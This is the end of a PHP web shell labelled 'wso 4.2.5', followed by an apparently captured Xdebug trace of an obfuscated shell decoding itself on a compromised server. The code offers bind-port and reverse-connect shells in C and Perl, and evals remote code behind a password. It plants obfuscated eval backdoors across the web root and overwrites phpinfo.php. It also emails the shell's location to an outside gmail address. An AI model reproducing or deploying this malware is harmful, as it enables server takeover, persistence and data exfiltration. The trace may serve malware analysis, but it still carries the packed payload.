            $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
            $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
            echo "<h1>Network tools</h1><div class=content>\r\n    <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>\r\n    <span>Bind port to /bin/sh</span><br/>\r\n    Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>\r\n    </form>\r\n    <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n    <span>Back-connect to</span><br/>\r\n    Server: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\r\n    </form><br>";
            if (isset($_POST['p1'])) {
                function cf($f, $t)
                {
                    $w = @fopen($f, "w") or @function_exists('file_put_contents');
                    if ($w) {
                        @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                        @fclose($w);
                    }
                }
                if ($_POST['p1'] == 'bpc') {
                    cf("/tmp/bp.c", $bind_port_c);
                    $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
                    @unlink("/tmp/bp.c");
                    $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
                }
                if ($_POST['p1'] == 'bpp') {
                    cf("/tmp/bp.pl", $bind_port_p);
                    $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
                }
                if ($_POST['p1'] == 'bcc') {
                    cf("/tmp/bc.c", $back_connect_c);
                    $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
                    @unlink("/tmp/bc.c");
                    $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
                }
                if ($_POST['p1'] == 'bcp') {
                    cf("/tmp/bc.pl", $back_connect_p);
                    $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
                }
            }
            echo "</div>";
            hardFooter();
        }
        if (empty($_POST['a'])) {
            if (isset($▚) && function_exists('action' . $▚)) {
                $_POST['a'] = $▚;
            } else {
                $_POST['a'] = 'FilesMan';
            }
        }
        if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
            call_user_func('action' . $_POST['a']);
        }
    };
    $a = '<?php 

$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));
?>
<form action="" method="post">
<input type="text" name="p">
</form>
';
    if (@$_REQUEST["px"]) {
        $p = @$_REQUEST["px"];
        $pa = md5(sha1($p));
        if ($pa == "013f0a41203c0ad0f68033f4a53c7e6d") {
            echo eval(@file_get_contents(@$_REQUEST["404"]));
        }
    }
    if (@(!$_SESSION["sdm"])) {
        $doc = $_SERVER["DOCUMENT_ROOT"];
        $dir = scandir($doc);
        $d1 = '' . $doc . '/.';
        $d2 = '' . $doc . '/..';
        if (($key = @array_search('.', $dir)) !== false) {
            unset($dir[$key]);
        }
        if (($key = @array_search('..', $dir)) !== false) {
            unset($dir[$key]);
        }
        if (($key = @array_search($d1, $dir)) !== false) {
            unset($dir[$key]);
        }
        if (($key = array_search($d2, $dir)) !== false) {
            unset($dir[$key]);
        }
        @array_push($dir, $doc);
        foreach ($dir as $d) {
            $p = $doc . "/" . $d;
            if (is_dir($p)) {
                $file = $p . "/style-js.php";
                @touch($file);
                $folder = @fopen($file, "w");
                @fwrite($folder, $a);
            }
        }
    }
    $b = "wso 4.2.5";
    $c = "Dosya Yolu : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
    $c .= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
    $c .= "Server isletim sistemi : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
    $c .= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
    $c .= "Avlanan Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
    mail("shelldownloadorg@gmail.com", $b, $c);
    $ikrhtfy = $_SERVER["DOCUMENT_ROOT"] . '/' . 'phpinfo.php';
    $fghky_ouvcbt = '<?php phpinfo();


$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));

?>';
    if (!file_exists($ikrhtfy)) {
        touch($ikrhtfy);
        chmod($ikrhtfy, 0666);
    }
    $opazxcdnm = fopen($ikrhtfy, "w");
    if (!fwrite($opazxcdnm, $fghky_ouvcbt)) {
        exit;
    }
};
exit;

Execution traces

data/traces/0c62a92b28d4eadcb7ae430c27068128_trace-1676244547.1363.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:29:33.034136]
1	0	1	0.000137	393464
1	3	0	0.000378	431200	{main}	1		/var/www/html/uploads/4.php	0	0
1		A						/var/www/html/uploads/4.php	3	$tool = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
1		A						/var/www/html/uploads/4.php	4	$gzinflate = '=g3CHND6SMoHP8/T//z/s951l6v3rGbq/e5M/j6m+/e8u/3+T9F4M9b5//bL/f+T/b3a+v4r0bTacx/UMeeR//9/O/N+tzfQEE03oz3/z+hqT37PWe6/BWj/vt/fUX+vXKv/fz/fH3PWny/PrrUzrLfQNw/PxzyLzH0Ly//7//XVDrvqb9f1R9X9U9V/Vdx/pN9/fE+/zct+SeR/ym2H4O//7VFlc1e9W//7oz9fMyyL+sOxzwnH+/Z6Zd1/uviaX6GqJ8F93z7k767v73RK/f8PL/R+L1InjRXOjTW2fu+rh7v74qfQN+POsNr/r5ay5c4/8eNnfNMx80FHK74P8X1YvvZKLu0/d/i9Mi+Qn+fwH8H9b32Wtb/htWU/XnHVjfy/FG7ndBxxQw2/6v/y1teW/dvV5bXvrR7/9/xaDPj/+919Q/f4rvuJVtzxvM5p3eK/0/bz//m9W83r//dyE/9//dCF/rut+/1+/fp/d7oE/7Y9HX+fVMh+hs1/J4vQ'
2	4	0	0.000461	431200	base64_decode	0		/var/www/html/uploads/4.php	5	1	'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
2	4	1	0.000483	431488
2	4	R			'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	0	0.000503	431456	urldecode	0		/var/www/html/uploads/4.php	5	1	'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	1	0.000523	431712
2	5	R			'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	0	0.000542	431424	htmlspecialchars_decode	0		/var/www/html/uploads/4.php	5	1	'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	1	0.000560	431648
2	6	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	7	0	0.000591	433776	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'	/var/www/html/uploads/4.php	5	0
3	8	0	0.000608	433776	strrev	0		/var/www/html/uploads/4.php(5) : eval()'d code	1	1	'=g3CHND6SMoHP8/T//z/s951l6v3rGbq/e5M/j6m+/e8u/3+T9F4M9b5//bL/f+T/b3a+v4r0bTacx/UMeeR//9/O/N+tzfQEE03oz3/z+hqT37PWe6/BWj/vt/fUX+vXKv/fz/fH3PWny/PrrUzrLfQNw/PxzyLzH0Ly//7//XVDrvqb9f1R9X9U9V/Vdx/pN9/fE+/zct+SeR/ym2H4O//7VFlc1e9W//7oz9fMyyL+sOxzwnH+/Z6Zd1/uviaX6GqJ8F93z7k767v73RK/f8PL/R+L1InjRXOjTW2fu+rh7v74qfQN+POsNr/r5ay5c4/8eNnfNMx80FHK74P8X1YvvZKLu0/d/i9Mi+Qn+fwH8H9b32Wtb/htWU/XnHVjfy/FG7ndBxxQw2/6v/y1teW/dvV5bXvrR7/9/xaDPj/+919Q/f4rvuJVtzxvM5p3eK/0/bz//m9W83r//dyE/9//dCF/rut+/1+/fp/d7oE/7Y9HX+fVMh+hs1/J4vQ'
3	8	1	0.000663	470672
3	8	R			'ASpj1ZwBJWPanAEgY9+ceJwBFWPqnHic7f1nr+vQmucHvm+gv8P1RQFVBfYUc5p2281MiTmIyTAKzDlnGv7uw3OrOno8M8DMvLPOEbY2F9fSWs96wu+/RUn/4/88VdNf/u2/yZdlXP55yadx2eqh/AfoH//9v/03f/793bmO/+GvZIJOUbZ5UN0Qxa32ssNBU0sgymduv2q61cuncz8r6n6PDgwYPrP4X3IxgtfuJYKC5gfu02jBEir16OrQavoaeq8XH8f2+Cr027zIqGjXDIMe6zK+10WZ3/s9B3xYIANPLiitucL1NdsvrV7VD+98kjuO3fg8DVsEdABSDu/sAAaWKJod51RtuaeQgxOeS7Deo+p3c3yE5rz9jgJEVHainbCnMTmYrx0FCBqwB5JEWbDv0YYmMqkCF6IwM2c5TjCHIlO3wF5CMsy/akQll7c9QWbjK1M/r0R/sQNNT160/H21tLTLT+KzcfOdHuObdKcHrJu++M6vhyCIbLMpbvj0'
3	9	0	0.000711	470640	base64_decode	0		/var/www/html/uploads/4.php(5) : eval()'d code	1	1	'ASpj1ZwBJWPanAEgY9+ceJwBFWPqnHic7f1nr+vQmucHvm+gv8P1RQFVBfYUc5p2281MiTmIyTAKzDlnGv7uw3OrOno8M8DMvLPOEbY2F9fSWs96wu+/RUn/4/88VdNf/u2/yZdlXP55yadx2eqh/AfoH//9v/03f/793bmO/+GvZIJOUbZ5UN0Qxa32ssNBU0sgymduv2q61cuncz8r6n6PDgwYPrP4X3IxgtfuJYKC5gfu02jBEir16OrQavoaeq8XH8f2+Cr027zIqGjXDIMe6zK+10WZ3/s9B3xYIANPLiitucL1NdsvrV7VD+98kjuO3fg8DVsEdABSDu/sAAaWKJod51RtuaeQgxOeS7Deo+p3c3yE5rz9jgJEVHainbCnMTmYrx0FCBqwB5JEWbDv0YYmMqkCF6IwM2c5TjCHIlO3wF5CMsy/akQll7c9QWbjK1M/r0R/sQNNT160/H21tLTLT+KzcfOdHuObdKcHrJu++M6vhyCIbLMpbvj0'
3	9	1	0.000834	507536
3	9	R			'\001*c՜\001%cڜ\001 cߜx�\001\025c�x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\'
3	10	0	0.001339	470640	gzinflate	0		/var/www/html/uploads/4.php(5) : eval()'d code	1	1	'\001*c՜\001%cڜ\001 cߜx�\001\025c�x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\'
3	10	1	0.001889	499344
3	10	R			'\001%cڜ\001 cߜx�\001\025c�x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\036 ��*�'
3	11	0	0.002406	462448	gzinflate	0		/var/www/html/uploads/4.php(5) : eval()'d code	1	1	'\001%cڜ\001 cߜx�\001\025c�x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\036 ��*�'
3	11	1	0.002901	491152
3	11	R			'\001 cߜx�\001\025c�x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\036 ��*���^�\bl�'
3	12	0	0.003395	462448	gzinflate	0		/var/www/html/uploads/4.php(5) : eval()'d code	1	1	'\001 cߜx�\001\025c�x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\036 ��*���^�\bl�'
3	12	1	0.003889	491152
3	12	R			'x�\001\025c�x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\036 ��*���^�\bl;,yF3\00'
3	13	0	0.004396	462448	gzuncompress	0		/var/www/html/uploads/4.php(5) : eval()'d code	1	1	'x�\001\025c�x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\036 ��*���^�\bl;,yF3\00'
3	13	1	0.004900	491152
3	13	R			'x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\036 ��*���^�\bl;,yF3\005|\000\020�S�'
3	14	0	0.005399	462448	gzuncompress	0		/var/www/html/uploads/4.php(5) : eval()'d code	1	1	'x��g��К�\a�o���E\001U\005�\024s�v��L�9��0\n�9g\032���s�:z<3�̼��\021�6\027��Z�z��EI��<U�_��ɗe\\�yɧq��\a�\037����7��ݹ���d�NQ�yP�\020ŭ���ASK �gn�j��˧s?+�~�\016\f\030>��_r1���%���\a��h�\022*����j�\032z�\027\037��*�ۼȨh�\f�\036�2��E��=\a|X \003O.(���5�/�^�\017�|�;��<\r[\004t\000R\016��\000\006�(�\035�Tm����\023�K�ޣ�ws|���\002DTv����19��\035\005\b\032�\a�DY��ц&2�\002\027�03g9N0�"S��^B2̿jD%��=Af�+S?�D�\003MO^��}����O�q�\036�t�\a����ί� �l�)n��њ"\036 ��*���^�\bl;,yF3\005|\000\020�S�'
3	14	1	0.006088	499344
3	14	R			'<?php \r\nerror_reporting(0);\r\n\r\n\r\n$wso="7b3pZdtV0ij6fyLmHSC0pk62KIqkJLctirIlTIs3TJvl/XADdQDUbxAEVkug23/PI1mcZr4b8cV9hvMi9xnmVmFzSRVDhYWkefd8ZuMOO9oigaysrKqsrKyqXDYf2nD7r39MTExJPkJ9LxhU5lW7CvvuOIzjBfX9X/8SDSu+4/g33dvwphteVK7nSYwrXsyoLWlqavYPqtUvf/2LBp9SYm94HXqxu3+69+Rn773B/mm3j96dGh/r6fPdSrvw/e0ZPNQ/mG2d4Wxi2L7rGh/b2qOJH8UVg3UaS0pzefkDyxk9GuHzbWBajJpzOJblwV+stNrWSUm0007kdpajDcI49MKFv/7leL7J8NmFV64sdJB7wZq8+I+//yc0Tw/W7q/ee7DuD4Owf79sYq3V8H/9tdHqN4J794b3f/1Ixzr9wSQyqcz/hDKe0wvb9Ov/gl/G4cHZ8n2DPfjf+OAsi'
3	15	0	0.006417	523968	eval	1	'?><?php \r\nerror_reporting(0);\r\n\r\n\r\n$wso="7b3pZdtV0ij6fyLmHSC0pk62KIqkJLctirIlTIs3TJvl/XADdQDUbxAEVkug23/PI1mcZr4b8cV9hvMi9xnmVmFzSRVDhYWkefd8ZuMOO9oigaysrKqsrKyqXDYf2nD7r39MTExJPkJ9LxhU5lW7CvvuOIzjBfX9X/8SDSu+4/g33dvwphteVK7nSYwrXsyoLWlqavYPqtUvf/2LBp9SYm94HXqxu3+69+Rn773B/mm3j96dGh/r6fPdSrvw/e0ZPNQ/mG2d4Wxi2L7rGh/b2qOJH8UVg3UaS0pzefkDyxk9GuHzbWBajJpzOJblwV+stNrWSUm0007kdpajDcI49MKFv/7leL7J8NmFV64sdJB7wZq8+I+//yc0Tw/W7q/ee7DuD4Owf79sYq3V8H/9tdHqN4J794b3f/1Ixzr9wSQyqcz/hDKe0wvb9Ov/gl/G4cHZ8n2DPfjf+OAsilD3nWLydP8LnloG65W0X14dHOxpD+FK9+j8Z/vA+Et64xh1lYXIaFAPII9qad5cnL4vKPYKbRAK1GgYKv1wtarxTrEdy7O8GzuszCoEfQlRbpVfduTDie3dR8TYBHDfARoAuspUO/sChx6aniWZTpmhIREF2NXXPr2VfgGyKLDMy4re84bL95G4eX01GOnAubEVLLW79ES7hJpAoSb4U3eCH1GN3UfIwZ/fUQ8W/DEEtUeCTd9XQ+tUEbSqErT6rQSt3p0gmCvDnhlrkXKm+FzPqS3aSoPqF/y30/fd8N5NNzQDeBBJ6FIbbsQLKFQv4BG8ALBhMGk6us6+IyB+jzqN9tUYcVVyMdqEh2R1siLVL1DLqSx+hveLn5M3rJbPWFhAhEAJ/0pA9ESx94vRx+p/0C8Afb/4GdsjKqxqURmoanapDV2+GHpolE37Qejftr9+aE+v55hNpi0cRLUNHfQoMqMuDpgROo7lZ3ALFo/tw7disQPTl/C4WACuRHioryb+Naw/btDDfu5t0SQUIPCafmrjdRJslYYQmbjGwMDtX+x5ai9BtFrt1wZ8uOyiRRN/FAXd33uWF7pdp3QiFkn+0SAcU3NLMTgCXGHW6q36usGwSlPZ4iM7qKTiLW4I6IDIaXAfSTK3WCt2cpH+JKD44R0Yck4ed3nxnfg2LIY5R7j4ZMgNpSaBgEKXr7K8hmxEURRbyNsCks2AMkv2ljP/yi9N5f/5v6tNs0xiNZpazdrreL+sQy8t8BUESdQpop8t+kjt5581vlGpzzu0rPynS2nmXdN3rEciMu6yiE+tf/yhzQWpLeTJAwEza3iNIrOSLqbzSq7VNcP/7F/LK+0dCsGgSPqWFUpEKXZYwlaiV3M+dpym6CFXEaCo54bO0Sg0PRfqcHyhn1vWKA5O0ur7ZM+x8cu7/e2XloffIh/YB9TGy9DBn899ZhBe47c9f9KP4aEYqYQq2wlUwPqg